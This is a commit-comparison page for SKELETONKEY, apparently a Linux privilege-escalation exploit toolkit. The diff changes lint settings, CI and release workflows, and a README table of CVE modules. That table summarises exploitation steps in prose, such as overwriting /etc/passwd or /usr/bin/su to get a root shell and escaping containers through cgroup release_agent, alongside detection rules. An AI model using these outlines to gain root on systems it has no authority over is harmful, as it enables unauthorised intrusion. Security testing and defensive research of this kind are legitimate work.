Compare commits
37 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| d466fbfdcb | |||
| a8bc81c54c | |||
| b7027a1749 | |||
| 03324c8542 | |||
| 95589e26cb | |||
| 4d0a0e2443 | |||
| 050731396d | |||
| ada56b0db3 | |||
| 28a9289989 | |||
| e457b22c1f | |||
| 60579f1602 | |||
| dd5f4fa06d | |||
| 3d9db6b93e | |||
| bd63aabd64 | |||
| 1663df69d1 | |||
| 6c148e276a | |||
| 35c33df16f | |||
| 25c2afc3e9 | |||
| 13fbbce618 | |||
| bb5ca48fe1 | |||
| 4454d8148e | |||
| fa0228df9b | |||
| d52fcd5512 | |||
| 66cca39a55 | |||
| 92396a0d6d | |||
| 8ac041a295 | |||
| 270ddc1681 | |||
| 7f4a6e1c7c | |||
| f41eed834e | |||
| d84b3b0033 | |||
| 4af82b82d9 | |||
| c12ee6055c | |||
| 3e9f373751 | |||
| 24c2821ae2 | |||
| 5d48a7b0b5 | |||
| 18fa3025f2 | |||
| 5b79b23ff2 |
+24
@@ -0,0 +1,24 @@
|
|||||||
|
# clang-tidy configuration for SKELETONKEY core/.
|
||||||
|
#
|
||||||
|
# Defaults are mostly fine. Two checks intentionally disabled:
|
||||||
|
#
|
||||||
|
# clang-analyzer-security.insecureAPI.DeprecatedOrUnsafeBufferHandling
|
||||||
|
# This check flags snprintf, fprintf, memset, strncpy, etc. as
|
||||||
|
# "insecure" and recommends the C11 Annex K _s variants
|
||||||
|
# (snprintf_s, memset_s, ...). Annex K is fundamentally not
|
||||||
|
# portable — glibc, musl, and MSVC all either don't implement
|
||||||
|
# it or implement it incompletely. snprintf is already bounds-
|
||||||
|
# checked; this is noise rather than signal in real C code.
|
||||||
|
# The Linux kernel uses these functions everywhere; so does
|
||||||
|
# every C project. Disabling.
|
||||||
|
#
|
||||||
|
# bugprone-easily-swappable-parameters
|
||||||
|
# Flags every function taking 2+ same-typed parameters. False-
|
||||||
|
# positive heavy on small utility functions like
|
||||||
|
# skeletonkey_host_kernel_at_least(host, major, minor, patch)
|
||||||
|
# where the parameter order is documented and obvious. Not
|
||||||
|
# worth the noise.
|
||||||
|
|
||||||
|
Checks: >
|
||||||
|
-clang-analyzer-security.insecureAPI.DeprecatedOrUnsafeBufferHandling,
|
||||||
|
-bugprone-easily-swappable-parameters
|
||||||
@@ -5,6 +5,15 @@ on:
|
|||||||
branches: [main]
|
branches: [main]
|
||||||
pull_request:
|
pull_request:
|
||||||
branches: [main]
|
branches: [main]
|
||||||
|
schedule:
|
||||||
|
# Weekly drift check against CISA KEV + Debian security tracker.
|
||||||
|
# Runs Monday 06:00 UTC; reports any new backports / KEV additions
|
||||||
|
# that haven't propagated into the corpus yet.
|
||||||
|
- cron: '0 6 * * 1'
|
||||||
|
workflow_dispatch:
|
||||||
|
# Lets us trigger the drift-check job on demand (e.g. after a
|
||||||
|
# metadata refresh) without waiting for the weekly cron. The
|
||||||
|
# drift-check job's `if:` gate honors this trigger.
|
||||||
|
|
||||||
jobs:
|
jobs:
|
||||||
build:
|
build:
|
||||||
@@ -16,7 +25,7 @@ jobs:
|
|||||||
flavor: [default, debug]
|
flavor: [default, debug]
|
||||||
name: build (${{ matrix.cc }} / ${{ matrix.flavor }})
|
name: build (${{ matrix.cc }} / ${{ matrix.flavor }})
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v6
|
||||||
|
|
||||||
- name: install build deps
|
- name: install build deps
|
||||||
run: |
|
run: |
|
||||||
@@ -67,6 +76,91 @@ jobs:
|
|||||||
sudo chown -R skeletonkeyci .
|
sudo chown -R skeletonkeyci .
|
||||||
sudo -u skeletonkeyci make test
|
sudo -u skeletonkeyci make test
|
||||||
|
|
||||||
|
# ASan + UBSan run. clang-only; catches memory bugs and undefined
|
||||||
|
# behaviour the regular test suite can't see. Runs on the same 88
|
||||||
|
# tests as the main matrix; failures here are real bugs even if
|
||||||
|
# the assertions all pass.
|
||||||
|
sanitizers:
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
name: sanitizers (ASan + UBSan)
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v6
|
||||||
|
- name: install deps
|
||||||
|
run: |
|
||||||
|
sudo apt-get update -qq
|
||||||
|
sudo apt-get install -y --no-install-recommends \
|
||||||
|
build-essential clang make linux-libc-dev \
|
||||||
|
libglib2.0-dev pkg-config sudo
|
||||||
|
- name: build + test under sanitizers
|
||||||
|
env:
|
||||||
|
CC: clang
|
||||||
|
# AddressSanitizer + UndefinedBehaviorSanitizer. -O1 keeps
|
||||||
|
# backtraces meaningful while still exercising optimizer paths;
|
||||||
|
# -fno-omit-frame-pointer for ASan stack traces; halt-on-error
|
||||||
|
# so the first finding fails CI loudly rather than scrolling
|
||||||
|
# past silently.
|
||||||
|
CFLAGS: "-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined -fno-sanitize-recover=all -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64"
|
||||||
|
LDFLAGS: "-fsanitize=address,undefined"
|
||||||
|
run: |
|
||||||
|
sudo useradd -m -s /bin/bash skeletonkeyci 2>/dev/null || true
|
||||||
|
sudo chown -R skeletonkeyci .
|
||||||
|
sudo -u skeletonkeyci -E make test
|
||||||
|
|
||||||
|
# clang-tidy lint. Runs against core/ + skeletonkey.c (the files we
|
||||||
|
# control most tightly). Non-blocking for now — sets a baseline we
|
||||||
|
# can tighten incrementally. Module sources are excluded; many
|
||||||
|
# bundle published PoC code that we keep close to upstream style.
|
||||||
|
clang-tidy:
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
name: clang-tidy
|
||||||
|
continue-on-error: true
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v6
|
||||||
|
- name: install deps
|
||||||
|
run: |
|
||||||
|
sudo apt-get update -qq
|
||||||
|
sudo apt-get install -y --no-install-recommends \
|
||||||
|
clang clang-tidy linux-libc-dev libglib2.0-dev pkg-config
|
||||||
|
- name: lint core + dispatcher
|
||||||
|
run: |
|
||||||
|
clang-tidy core/*.c skeletonkey.c \
|
||||||
|
--warnings-as-errors='' \
|
||||||
|
-- -Icore -Imodules/copy_fail_family/src \
|
||||||
|
-D_GNU_SOURCE -D_FILE_OFFSET_BITS=64
|
||||||
|
|
||||||
|
# Drift check — runs the two refresh scripts in --check / drift mode
|
||||||
|
# against authoritative federal sources. Catches:
|
||||||
|
# - New CISA KEV additions touching CVEs in our corpus
|
||||||
|
# - New Debian security-tracker backport-version updates that move
|
||||||
|
# the kernel_patched_from table thresholds
|
||||||
|
# Network-required (fetches kev.csv + Debian tracker JSON). Runs on
|
||||||
|
# the weekly cron + on-demand via workflow_dispatch. NOT gated on
|
||||||
|
# PRs because random PRs shouldn't fail on upstream feed drift.
|
||||||
|
drift-check:
|
||||||
|
if: github.event_name == 'schedule' || github.event_name == 'workflow_dispatch'
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
name: drift-check (CISA KEV + Debian tracker)
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v6
|
||||||
|
- name: cve_metadata drift
|
||||||
|
run: |
|
||||||
|
# Exits 1 if the federal data has drifted from our committed
|
||||||
|
# JSON. Open a PR with `tools/refresh-cve-metadata.py` output
|
||||||
|
# if this fires.
|
||||||
|
python3 tools/refresh-cve-metadata.py --check || {
|
||||||
|
echo "::warning::cve_metadata drift detected — run tools/refresh-cve-metadata.py and commit the result"
|
||||||
|
exit 1
|
||||||
|
}
|
||||||
|
- name: kernel_range drift
|
||||||
|
run: |
|
||||||
|
# Exits 1 if any module's kernel_patched_from table is
|
||||||
|
# MISSING or TOO_TIGHT versus Debian's tracker. INFO-only
|
||||||
|
# findings are fine.
|
||||||
|
python3 tools/refresh-kernel-ranges.py || {
|
||||||
|
echo "::warning::kernel_range drift detected — see tools/refresh-kernel-ranges.py output"
|
||||||
|
exit 1
|
||||||
|
}
|
||||||
|
|
||||||
# Static build job: ensures the project links cleanly when -static is
|
# Static build job: ensures the project links cleanly when -static is
|
||||||
# requested. Useful for deployment to minimal containers / fleet scans
|
# requested. Useful for deployment to minimal containers / fleet scans
|
||||||
# where shared-libc availability isn't guaranteed.
|
# where shared-libc availability isn't guaranteed.
|
||||||
@@ -74,7 +168,7 @@ jobs:
|
|||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
name: static-build
|
name: static-build
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v6
|
||||||
- name: install build deps
|
- name: install build deps
|
||||||
run: |
|
run: |
|
||||||
sudo apt-get update -qq
|
sudo apt-get update -qq
|
||||||
|
|||||||
@@ -32,7 +32,7 @@ jobs:
|
|||||||
name: build (${{ matrix.target }})
|
name: build (${{ matrix.target }})
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v6
|
||||||
|
|
||||||
- name: install build deps
|
- name: install build deps
|
||||||
run: |
|
run: |
|
||||||
@@ -52,30 +52,28 @@ jobs:
|
|||||||
mv skeletonkey skeletonkey-${{ matrix.target }}
|
mv skeletonkey skeletonkey-${{ matrix.target }}
|
||||||
sha256sum skeletonkey-${{ matrix.target }} > skeletonkey-${{ matrix.target }}.sha256
|
sha256sum skeletonkey-${{ matrix.target }} > skeletonkey-${{ matrix.target }}.sha256
|
||||||
|
|
||||||
- uses: actions/upload-artifact@v4
|
- uses: actions/upload-artifact@v7
|
||||||
with:
|
with:
|
||||||
name: skeletonkey-${{ matrix.target }}
|
name: skeletonkey-${{ matrix.target }}
|
||||||
path: |
|
path: |
|
||||||
skeletonkey-${{ matrix.target }}
|
skeletonkey-${{ matrix.target }}
|
||||||
skeletonkey-${{ matrix.target }}.sha256
|
skeletonkey-${{ matrix.target }}.sha256
|
||||||
|
|
||||||
# Portable static-musl build for x86_64. Runs in Alpine (native
|
# Portable static-musl x86_64 build. Runs in Alpine (native musl +
|
||||||
# musl + linux-headers) so the resulting binary works on every
|
# linux-headers) so the resulting binary works on every libc —
|
||||||
# libc — glibc 2.x of any version, musl, etc. This is what
|
# glibc 2.x of any version, musl, etc. This is what install.sh
|
||||||
# install.sh fetches by default (the dynamic binary above hits a
|
# fetches by default for x86_64 hosts (the dynamic binary above
|
||||||
# glibc-version ceiling on older distros like Debian 12 / RHEL 8).
|
# hits a glibc-version ceiling on older distros like Debian 12 /
|
||||||
|
# RHEL 8).
|
||||||
build-static-x86_64:
|
build-static-x86_64:
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
name: build (x86_64-static / musl)
|
name: build (x86_64-static / musl)
|
||||||
container:
|
container:
|
||||||
image: alpine:latest
|
image: alpine:latest
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v6
|
||||||
|
|
||||||
- name: install build deps
|
- name: install build deps
|
||||||
run: |
|
run: apk add --no-cache build-base linux-headers tar
|
||||||
apk add --no-cache build-base linux-headers tar
|
|
||||||
|
|
||||||
- name: build static (musl)
|
- name: build static (musl)
|
||||||
run: |
|
run: |
|
||||||
# MSG_COPY is a Linux-only SysV msg flag that glibc defines
|
# MSG_COPY is a Linux-only SysV msg flag that glibc defines
|
||||||
@@ -85,26 +83,67 @@ jobs:
|
|||||||
make CFLAGS="-O2 -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -DMSG_COPY=040000" LDFLAGS=-static
|
make CFLAGS="-O2 -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -DMSG_COPY=040000" LDFLAGS=-static
|
||||||
file skeletonkey
|
file skeletonkey
|
||||||
ls -la skeletonkey
|
ls -la skeletonkey
|
||||||
|
|
||||||
- name: rename + checksum
|
- name: rename + checksum
|
||||||
run: |
|
run: |
|
||||||
mv skeletonkey skeletonkey-x86_64-static
|
mv skeletonkey skeletonkey-x86_64-static
|
||||||
sha256sum skeletonkey-x86_64-static > skeletonkey-x86_64-static.sha256
|
sha256sum skeletonkey-x86_64-static > skeletonkey-x86_64-static.sha256
|
||||||
|
- uses: actions/upload-artifact@v7
|
||||||
- uses: actions/upload-artifact@v4
|
|
||||||
with:
|
with:
|
||||||
name: skeletonkey-x86_64-static
|
name: skeletonkey-x86_64-static
|
||||||
path: |
|
path: |
|
||||||
skeletonkey-x86_64-static
|
skeletonkey-x86_64-static
|
||||||
skeletonkey-x86_64-static.sha256
|
skeletonkey-x86_64-static.sha256
|
||||||
|
|
||||||
|
# Portable static-musl arm64 build. Cross-compile from the x86_64
|
||||||
|
# runner using dockcross/linux-arm64-musl — a Debian-based cross
|
||||||
|
# toolchain image that ships aarch64-linux-musl-gcc with a clean
|
||||||
|
# musl sysroot + Linux uapi headers. Avoids the two prior failure
|
||||||
|
# modes:
|
||||||
|
# (1) Alpine on arm64: actions/checkout JS bundle requires glibc-
|
||||||
|
# compatible Node, which GitHub doesn't inject on arm64.
|
||||||
|
# (2) musl-tools on ubuntu-24.04-arm: musl-gcc + Ubuntu's
|
||||||
|
# /usr/include collide (glibc stdio.h vs musl stdio.h →
|
||||||
|
# __gnuc_va_list / __time64_t conflicts).
|
||||||
|
# dockcross runs glibc Debian (so checkout works), invokes a
|
||||||
|
# bundled aarch64-linux-musl-gcc whose sysroot has its own
|
||||||
|
# consistent musl + linux-uapi tree.
|
||||||
|
build-static-arm64:
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
name: build (arm64-static / musl)
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v6
|
||||||
|
- name: run dockcross arm64-musl build
|
||||||
|
run: |
|
||||||
|
# Fetch the dockcross wrapper script (handles UID/GID,
|
||||||
|
# volume mounts, env passing). Image already has
|
||||||
|
# aarch64-linux-musl-gcc on PATH.
|
||||||
|
docker run --rm dockcross/linux-arm64-musl > ./dockcross
|
||||||
|
chmod +x ./dockcross
|
||||||
|
./dockcross bash -c '
|
||||||
|
make CC=aarch64-linux-musl-gcc \
|
||||||
|
CFLAGS="-O2 -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -DMSG_COPY=040000" \
|
||||||
|
LDFLAGS=-static
|
||||||
|
'
|
||||||
|
file skeletonkey
|
||||||
|
ls -la skeletonkey
|
||||||
|
- name: rename + checksum
|
||||||
|
run: |
|
||||||
|
mv skeletonkey skeletonkey-arm64-static
|
||||||
|
sha256sum skeletonkey-arm64-static > skeletonkey-arm64-static.sha256
|
||||||
|
- uses: actions/upload-artifact@v7
|
||||||
|
with:
|
||||||
|
name: skeletonkey-arm64-static
|
||||||
|
path: |
|
||||||
|
skeletonkey-arm64-static
|
||||||
|
skeletonkey-arm64-static.sha256
|
||||||
|
|
||||||
release:
|
release:
|
||||||
needs: [build, build-static-x86_64]
|
needs: [build, build-static-x86_64, build-static-arm64]
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v6
|
||||||
|
|
||||||
- uses: actions/download-artifact@v4
|
- uses: actions/download-artifact@v8
|
||||||
with:
|
with:
|
||||||
path: dist
|
path: dist
|
||||||
|
|
||||||
@@ -142,7 +181,7 @@ jobs:
|
|||||||
fi
|
fi
|
||||||
|
|
||||||
- name: publish release
|
- name: publish release
|
||||||
uses: softprops/action-gh-release@v2
|
uses: softprops/action-gh-release@v3
|
||||||
with:
|
with:
|
||||||
tag_name: ${{ steps.notes.outputs.tag }}
|
tag_name: ${{ steps.notes.outputs.tag }}
|
||||||
name: SKELETONKEY ${{ steps.notes.outputs.tag }}
|
name: SKELETONKEY ${{ steps.notes.outputs.tag }}
|
||||||
@@ -154,5 +193,7 @@ jobs:
|
|||||||
skeletonkey-x86_64-static.sha256
|
skeletonkey-x86_64-static.sha256
|
||||||
skeletonkey-arm64
|
skeletonkey-arm64
|
||||||
skeletonkey-arm64.sha256
|
skeletonkey-arm64.sha256
|
||||||
|
skeletonkey-arm64-static
|
||||||
|
skeletonkey-arm64-static.sha256
|
||||||
install.sh
|
install.sh
|
||||||
fail_on_unmatched_files: false # install.sh may not exist at first tag
|
fail_on_unmatched_files: false # install.sh may not exist at first tag
|
||||||
|
|||||||
@@ -23,16 +23,19 @@ Status legend:
|
|||||||
- 🔴 **DEPRECATED** — fully patched everywhere relevant; kept for
|
- 🔴 **DEPRECATED** — fully patched everywhere relevant; kept for
|
||||||
historical reference only
|
historical reference only
|
||||||
|
|
||||||
**Counts:** 31 modules total — 28 verified (🟢 14 · 🟡 14) plus 3
|
**Counts:** 45 modules total covering 40 CVEs; **28 of 40 CVEs
|
||||||
ported-but-unverified (`dirtydecrypt`, `fragnesia`, `pack2theroot` —
|
verified end-to-end in real VMs** via `tools/verify-vm/`. 🔵 0 · ⚪ 0
|
||||||
see note below). 🔵 0 · ⚪ 0 planned-with-stub · 🔴 0. (One ⚪ row
|
planned-with-stub · 🔴 0. (One ⚪ row below — CVE-2026-31402 — is a
|
||||||
below — CVE-2026-31402 — is a *candidate* with no module, not counted
|
*candidate* with no module, not counted as a module.)
|
||||||
as a module.)
|
|
||||||
|
|
||||||
> **Note on `dirtydecrypt` / `fragnesia` / `pack2theroot`:** all three
|
> **Note on unverified rows:** `vmwgfx` / `dirty_cow` /
|
||||||
> are ported from public PoCs. The **exploit bodies** are not yet
|
> `mutagen_astronomy` / `pintheft` / `vsock_uaf` / `fragnesia` /
|
||||||
> VM-verified end-to-end, so they're listed 🟡 but excluded from the
|
> `ptrace_pidfd` / `sudo_host` / `cifswitch` / `nft_catchall` / `bad_epoll` / `ghostlock` are blocked by their target environment (VMware-only,
|
||||||
> 28-module verified corpus.
|
> kernel < 4.4, mainline panic, kmod not autoloaded, t64-transition
|
||||||
|
> libs) or are brand-new this cycle, not by missing code (`bad_epoll` and
|
||||||
|
> `ghostlock` are reconstructed race triggers — deliberately under-driven
|
||||||
|
> and not VM-verified). See
|
||||||
|
> [`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml).
|
||||||
>
|
>
|
||||||
> All three now have **pinned fix commits and version-based
|
> All three now have **pinned fix commits and version-based
|
||||||
> `detect()`**:
|
> `detect()`**:
|
||||||
@@ -74,7 +77,7 @@ root on a host can upstream their kernel's offsets via PR.
|
|||||||
| CVE-2022-2588 | net/sched cls_route4 handle-zero dead UAF | LPE (kernel UAF in cls_route4 filter remove) | mainline 5.20 / 5.19.7 (Aug 2022) | `cls_route4` | 🟡 | Userns+netns reach, tc/ip dummy interface + route4 dangling-filter add/del, msg_msg kmalloc-1k spray, UDP classify drive to follow the dangling pointer, slabinfo delta witness. Stops at empirical UAF-fired signal; no leak→cred overwrite (per-kernel offsets refused). Branch backports: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7. |
|
| CVE-2022-2588 | net/sched cls_route4 handle-zero dead UAF | LPE (kernel UAF in cls_route4 filter remove) | mainline 5.20 / 5.19.7 (Aug 2022) | `cls_route4` | 🟡 | Userns+netns reach, tc/ip dummy interface + route4 dangling-filter add/del, msg_msg kmalloc-1k spray, UDP classify drive to follow the dangling pointer, slabinfo delta witness. Stops at empirical UAF-fired signal; no leak→cred overwrite (per-kernel offsets refused). Branch backports: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7. |
|
||||||
| CVE-2016-5195 | Dirty COW — COW race via /proc/self/mem + madvise | LPE (page-cache write into root-owned files) | mainline 4.9 (Oct 2016) | `dirty_cow` | 🟢 | Full detect + exploit + cleanup. **Old-systems coverage** — affects RHEL 6/7 (3.10 baseline), Ubuntu 14.04 (3.13), Ubuntu 16.04 (4.4), embedded boxes, IoT. Phil-Oester-style two-thread race: writer thread via `/proc/self/mem` vs madvise(MADV_DONTNEED) thread. Targets /etc/passwd UID flip + `su`. Ships auditd watch on /proc/self/mem + sigma rule for non-root mem-open. Pthread-linked. |
|
| CVE-2016-5195 | Dirty COW — COW race via /proc/self/mem + madvise | LPE (page-cache write into root-owned files) | mainline 4.9 (Oct 2016) | `dirty_cow` | 🟢 | Full detect + exploit + cleanup. **Old-systems coverage** — affects RHEL 6/7 (3.10 baseline), Ubuntu 14.04 (3.13), Ubuntu 16.04 (4.4), embedded boxes, IoT. Phil-Oester-style two-thread race: writer thread via `/proc/self/mem` vs madvise(MADV_DONTNEED) thread. Targets /etc/passwd UID flip + `su`. Ships auditd watch on /proc/self/mem + sigma rule for non-root mem-open. Pthread-linked. |
|
||||||
| CVE-2019-13272 | PTRACE_TRACEME → setuid execve → cred escalation | LPE (kernel ptrace race; no exotic preconditions) | mainline 5.1.17 (Jun 2019) | `ptrace_traceme` | 🟢 | Full detect + exploit. Branch backports: 4.4.182 / 4.9.182 / 4.14.131 / 4.19.58 / 5.0.20 / 5.1.17. jannh-style: fork → child `PTRACE_TRACEME` → child sleep+attach → parent `execve` setuid bin (pkexec/su/passwd auto-selected) → child wins stale-ptrace_link → POKETEXT x86_64 shellcode → root sh. x86_64-only; ARM/other return PRECOND_FAIL cleanly. |
|
| CVE-2019-13272 | PTRACE_TRACEME → setuid execve → cred escalation | LPE (kernel ptrace race; no exotic preconditions) | mainline 5.1.17 (Jun 2019) | `ptrace_traceme` | 🟢 | Full detect + exploit. Branch backports: 4.4.182 / 4.9.182 / 4.14.131 / 4.19.58 / 5.0.20 / 5.1.17. jannh-style: fork → child `PTRACE_TRACEME` → child sleep+attach → parent `execve` setuid bin (pkexec/su/passwd auto-selected) → child wins stale-ptrace_link → POKETEXT x86_64 shellcode → root sh. x86_64-only; ARM/other return PRECOND_FAIL cleanly. |
|
||||||
| CVE-2022-0492 | cgroup v1 `release_agent` privilege check in wrong namespace | LPE (host root from rootless container or unprivileged userns) | mainline 5.17 (Mar 2022) | `cgroup_release_agent` | 🟢 | Universal structural exploit — no per-kernel offsets, no race. unshare(user|mount|cgroup), mount cgroup v1 RDP controller, write release_agent → ./payload, trigger via notify_on_release. Ships auditd rules covering cgroupfs mount + release_agent writes. Kept as a portable "containers misconfigured" demo. |
|
| CVE-2022-0492 | cgroup v1 `release_agent` privilege check in wrong namespace | LPE (host root from rootless container or unprivileged userns) | mainline 5.17 (Mar 2022) | `cgroup_release_agent` | 🟢 | Universal structural exploit — no per-kernel offsets, no race. unshare(user|mount|cgroup), mount cgroup v1 RDP controller, write release_agent → ./payload, trigger via notify_on_release. Ships auditd rules covering cgroupfs mount + release_agent writes. Kept as a portable "containers misconfigured" demo. **Added to CISA KEV 2026-06-02 — now confirmed exploited in the wild.** |
|
||||||
| CVE-2023-0386 | overlayfs `copy_up` preserves setuid bit across mount-ns boundary | LPE (host root via setuid carrier from unprivileged mount) | mainline 5.11 / 6.2-rc6 (Jan 2023) | `overlayfs_setuid` | 🟢 | Distro-agnostic — places a setuid binary in an overlay lower, mounts via fuse-overlayfs userns trick, executes from upper to inherit the setuid bit + root euid. Branch backports tracked for 5.10.169 / 5.15.92 / 6.1.11 / 6.2.x. |
|
| CVE-2023-0386 | overlayfs `copy_up` preserves setuid bit across mount-ns boundary | LPE (host root via setuid carrier from unprivileged mount) | mainline 5.11 / 6.2-rc6 (Jan 2023) | `overlayfs_setuid` | 🟢 | Distro-agnostic — places a setuid binary in an overlay lower, mounts via fuse-overlayfs userns trick, executes from upper to inherit the setuid bit + root euid. Branch backports tracked for 5.10.169 / 5.15.92 / 6.1.11 / 6.2.x. |
|
||||||
| CVE-2021-22555 | iptables xt_compat heap-OOB → cross-cache UAF | LPE (kernel R/W via 4-byte heap OOB write + msg_msg/sk_buff groom) | mainline 5.12 / 5.11.10 (Apr 2021) | `netfilter_xtcompat` | 🟡 | Hand-rolled `ipt_replace` blob + setsockopt(IPT_SO_SET_REPLACE) fires the 4-byte OOB, msg_msg spray in kmalloc-2k + sk_buff sidecar, MSG_COPY scan for cross-cache landing + slabinfo delta. Stops before the leak → modprobe_path overwrite chain (per-kernel offsets refused). Branch backports: 5.11.10 / 5.10.27 / 5.4.110 / 4.19.185 / 4.14.230 / 4.9.266 / 4.4.266. **Bug existed since 2.6.19 (2006).** Andy Nguyen's PGZ disclosure. |
|
| CVE-2021-22555 | iptables xt_compat heap-OOB → cross-cache UAF | LPE (kernel R/W via 4-byte heap OOB write + msg_msg/sk_buff groom) | mainline 5.12 / 5.11.10 (Apr 2021) | `netfilter_xtcompat` | 🟡 | Hand-rolled `ipt_replace` blob + setsockopt(IPT_SO_SET_REPLACE) fires the 4-byte OOB, msg_msg spray in kmalloc-2k + sk_buff sidecar, MSG_COPY scan for cross-cache landing + slabinfo delta. Stops before the leak → modprobe_path overwrite chain (per-kernel offsets refused). Branch backports: 5.11.10 / 5.10.27 / 5.4.110 / 4.19.185 / 4.14.230 / 4.9.266 / 4.4.266. **Bug existed since 2.6.19 (2006).** Andy Nguyen's PGZ disclosure. |
|
||||||
| CVE-2017-7308 | AF_PACKET TPACKET_V3 integer overflow → heap write-where | LPE (CAP_NET_RAW via userns) | mainline 4.11 / 4.10.6 (Mar 2017) | `af_packet` | 🟡 | Konovalov's TPACKET_V3 overflow + 200-skb spray + best-effort cred race. Offset table (Ubuntu 16.04/4.4 + 18.04/4.15) + `SKELETONKEY_AFPACKET_OFFSETS` env override for other kernels. x86_64-only; ARM returns PRECOND_FAIL. Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49. |
|
| CVE-2017-7308 | AF_PACKET TPACKET_V3 integer overflow → heap write-where | LPE (CAP_NET_RAW via userns) | mainline 4.11 / 4.10.6 (Mar 2017) | `af_packet` | 🟡 | Konovalov's TPACKET_V3 overflow + 200-skb spray + best-effort cred race. Offset table (Ubuntu 16.04/4.4 + 18.04/4.15) + `SKELETONKEY_AFPACKET_OFFSETS` env override for other kernels. x86_64-only; ARM returns PRECOND_FAIL. Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49. |
|
||||||
@@ -92,6 +95,12 @@ root on a host can upstream their kernel's offsets via PR.
|
|||||||
| CVE-2026-31635 | DirtyDecrypt / DirtyCBC — rxgk missing-COW in-place decrypt | LPE (page-cache write into a setuid binary) | mainline Linux 7.0 (commit `a2567217ade970ecc458144b6be469bc015b23e5`) | `dirtydecrypt` | 🟡 | **Ported from the public V12 PoC, exploit body not yet VM-verified.** Sibling of Copy Fail / Dirty Frag in the rxgk (AFS rxrpc encryption) subsystem. `fire()` sliding-window page-cache write, ~256 fires/byte; rewrites the first 120 bytes of `/usr/bin/su` with a setuid-shell ELF. detect() is version-pinned: kernels < 7.0 predate the vulnerable rxgk code (Debian: `<not-affected, vulnerable code not present>` for 5.10/6.1/6.12); kernels ≥ 7.0 have the fix. `--active` probe fires the primitive at a `/tmp` sentinel for empirical override. x86_64. |
|
| CVE-2026-31635 | DirtyDecrypt / DirtyCBC — rxgk missing-COW in-place decrypt | LPE (page-cache write into a setuid binary) | mainline Linux 7.0 (commit `a2567217ade970ecc458144b6be469bc015b23e5`) | `dirtydecrypt` | 🟡 | **Ported from the public V12 PoC, exploit body not yet VM-verified.** Sibling of Copy Fail / Dirty Frag in the rxgk (AFS rxrpc encryption) subsystem. `fire()` sliding-window page-cache write, ~256 fires/byte; rewrites the first 120 bytes of `/usr/bin/su` with a setuid-shell ELF. detect() is version-pinned: kernels < 7.0 predate the vulnerable rxgk code (Debian: `<not-affected, vulnerable code not present>` for 5.10/6.1/6.12); kernels ≥ 7.0 have the fix. `--active` probe fires the primitive at a `/tmp` sentinel for empirical override. x86_64. |
|
||||||
| CVE-2026-46300 | Fragnesia — XFRM ESP-in-TCP `skb_try_coalesce` SHARED_FRAG loss | LPE (page-cache write into a setuid binary) | mainline 7.0.9; older Debian-stable branches still unfixed as of 2026-05-22 | `fragnesia` | 🟡 | **Ported from the public V12 PoC, exploit body not yet VM-verified.** Latent bug exposed by the Dirty Frag fix (`f4c50a4034e6`). AF_ALG GCM keystream table + userns/netns + XFRM ESP-in-TCP splice trigger pair; rewrites the first 192 bytes of `/usr/bin/su`. Needs `CONFIG_INET_ESPINTCP` + unprivileged userns (the in-scope question the old `_stubs/fragnesia_TBD` raised — resolved: ships, reports PRECOND_FAIL when the userns gate is closed). detect() is version-pinned at 7.0.9; older branches that haven't backported yet are flagged VULNERABLE on the version check (override empirically via `--active`). PoC's ANSI TUI dropped in the port. x86_64. |
|
| CVE-2026-46300 | Fragnesia — XFRM ESP-in-TCP `skb_try_coalesce` SHARED_FRAG loss | LPE (page-cache write into a setuid binary) | mainline 7.0.9; older Debian-stable branches still unfixed as of 2026-05-22 | `fragnesia` | 🟡 | **Ported from the public V12 PoC, exploit body not yet VM-verified.** Latent bug exposed by the Dirty Frag fix (`f4c50a4034e6`). AF_ALG GCM keystream table + userns/netns + XFRM ESP-in-TCP splice trigger pair; rewrites the first 192 bytes of `/usr/bin/su`. Needs `CONFIG_INET_ESPINTCP` + unprivileged userns (the in-scope question the old `_stubs/fragnesia_TBD` raised — resolved: ships, reports PRECOND_FAIL when the userns gate is closed). detect() is version-pinned at 7.0.9; older branches that haven't backported yet are flagged VULNERABLE on the version check (override empirically via `--active`). PoC's ANSI TUI dropped in the port. x86_64. |
|
||||||
